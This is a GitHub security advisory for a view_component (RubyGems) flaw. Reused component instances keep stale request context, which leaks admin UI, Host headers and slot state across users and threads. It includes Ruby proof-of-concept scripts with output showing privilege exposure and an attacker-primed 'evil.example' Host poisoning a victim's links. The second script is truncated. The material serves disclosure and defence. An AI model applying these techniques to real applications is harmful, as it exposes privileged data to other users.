GitHub Advisoryadvisory · RubyGems

GHSA-9h85-g7w3-rh49 ViewComponent: Reused Component Instances Retain Stale Render Context

MEDIUM Published 2026-07-15 Modified 2026-07-15 Official page ↗
Aliases
CVE-2026-54497
Ecosystem
RubyGems
Packages
view_component
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Weaknesses
CWE-362, CWE-488, CWE-668
Reviewed
2026-07-15

Affected packages

• RubyGems view_component: >= 4.0.0, < 4.12.0 → fixed in 4.12.0

Description

Reused Component Instances Retain Stale Render Context Summary `ViewComponent::Base` instances retain multiple render-scoped objects across calls to `render_in`. If the same component, collection, or spacer component instance is reused across requests, users, tenants, or threads, later renders can use stale `helpers`, `controller`, `request`, `view_flow`, format/variant details, and slot child context from an earlier render. This can cause authorization-aware components to render privileged UI for a lower-privileged user, generate links using a stale Host header, leak slot/helper state, and mix request context under concurrent rendering. Severity The PoC demonstrates cross-user authorization impact in a realistic downstream application pattern. If the receiving program accepts downstream cross-user authorization impact as a scope-changing impact for a framework vulnerability, an alternative High score can be assigned: Alternative CVSS: 8.2 Alternative vector: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N` Affected Code Validated against: • Repository commit: `eea79445` • Ruby: `3.4.9` Relevant locations: • `lib/view_component/base.rb` • `render_in` • `controller` • `helpers` • `__vc_request` • `lib/view_component/slot.rb` • `Slot#to_s` • `lib/view_component/slotable.rb` • slot storage in `@__vc_set_slots` • `lib/view_component/collection.rb` • child component memoization and spacer rendering Key retained state: ```ruby @view_context = view_context self.__vc_original_view_context ||= view_context @lookup_context ||= view_context.lookup_context @view_flow ||= view_context.view_flow @__vc_requested_details ||= @lookup_context.vc_requested_details ``` ```ruby @__vc_controller ||= view_context.controller @__vc_helpers ||= __vc_original_view_context || controller.view_context @__vc_request ||= controller.request if controller.respond_to?(:request) ``` Slot children also inherit the parent original view context: ```ruby @__vc_component_instance.__vc_original_view_context = @parent.__vc_original_view_context ``` Collections memoize child component instances: ```ruby return @components if defined? @components ``` Root Cause Component instances are mutable render objects. `render_in` updates some per-render fields, but many request-scoped values are memoized using `||=` or stored for later slot/collection rendering. There is no runtime guard preventing a component instance from being rendered multiple times under different view contexts, and there is no full reset of render-scoped state at the start of each render. Maintainer discussion in prior PRs notes that component instances should not be shared between renders, but the current runtime does not enforce this invariant. Proof of Concept The following PoC demonstrates four independent effects: • stale authorization gate • stale Host/request data in generated absolute URLs • stale slot child context • cross-thread context mixing Run from the repository root: ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" class ReusePocController host))) c.set_response!(ActionDispatch::Response.new) c.view_context end admin_vc = vc(user: "alice", role: :admin, path: "/admin", host: "admin.example") guest_vc = vc(user: "bob", role: :guest, path: "/guest", host: "app.example") panel = AdminPanelComponent.new puts "auth_admin_first=#{panel.render_in(admin_vc)}" puts "auth_guest_reused=#{panel.render_in(guest_vc)}" puts "auth_guest_fresh=#{AdminPanelComponent.new.render_in(guest_vc).inspect}" url = UrlOnlyComponent.new puts "host_attacker_prime=#{url.render_in(vc(user: "attacker", role: :guest, path: "/prime", host: "evil.example"))}" puts "host_victim_reused=#{url.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}" puts "host_victim_fresh=#{UrlOnlyComponent.new.render_in(vc(user: "victim", role: :guest, path: "/account", host: "app.example"))}" parent = SlotParentComponent.new puts "slot_admin_first=#{parent.render_in(admin_vc) { |p| p.with_child }}" puts "slot_guest_reused=#{parent.render_in(guest_vc) { |p| p.with_child }}" puts "slot_guest_fresh=#{SlotParentComponent.new.render_in(guest_vc) { |p| p.with_child }}" race = RaceComponent.new q = Queue.new t1 = Thread.new { q << [:admin, race.render_in(vc(user: "admin", role: :admin, path: "/admin"))] } t2 = Thread.new { q << [:guest, race.render_in(vc(user: "guest", role: :guest, path: "/guest"))] } t1.join t2.join results = 2.times.map { q.pop }.to_h puts "race_admin_thread=#{results[:admin]}" puts "race_guest_thread=#{results[:guest]}" ``` Observed output: ```text auth_admin_first=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42 auth_guest_reused=ADMIN user=alice;host=admin.example;href=http://admin.example/accounts/42 auth_guest_fresh="" host_attacker_prime=user=attacker;host=evil.example;href=http://evil.example/accounts/42 host_victim_reused=user=attacker;host=evil.example;href=http://evil.example/accounts/42 host_victim_fresh=user=victim;host=app.example;href=http://app.example/accounts/42 slot_admin_first=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/admin slot_guest_reused=parent_user=alice;parent_path=/admin;child_user=alice;child_path=/guest slot_guest_fresh=parent_user=bob;parent_path=/guest;child_user=bob;child_path=/guest race_admin_thread=admin@/guest race_guest_thread=admin@/guest ``` Authorization-Impact PoC The following PoC models a realistic downstream application pattern: a shared component registry caches component objects instead of caching component classes, factories, or rendered strings. An admin request primes the cached toolbar component. A later guest request renders the same cached object. The component uses `render?` as an authorization-aware visibility gate and emits a representative privileged action link. ```ruby $LOAD_PATH.unshift File.expand_path("lib", Dir.pwd) require "action_controller/railtie" require "rack/mock" require "view_component/base" module SharedComponentRegistry def self.admin_toolbar @admin_toolbar ||= AdminToolbarComponent.new end def self.reset! remove_instance_variable(:@admin_toolbar) if defined?(@admin_toolbar) end end User = Struct.new(:id, :role, keyword_init: true) do def admin? = role == :admin end class AppController < ActionController::Base helper_method :current_user, :admin? attr_accessor :c…

Related

Alias · CVE (1)

  • CVE-2026-54497 view_component is a framework for building reusable, testable, and encapsulated view components in Ruby on Rails. vulnerability

Weakness · CWE (3)

  • CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization weakness
  • CWE-488 Exposure of Data Element to Wrong Session weakness
  • CWE-668 Exposure of Resource to Wrong Sphere weakness

References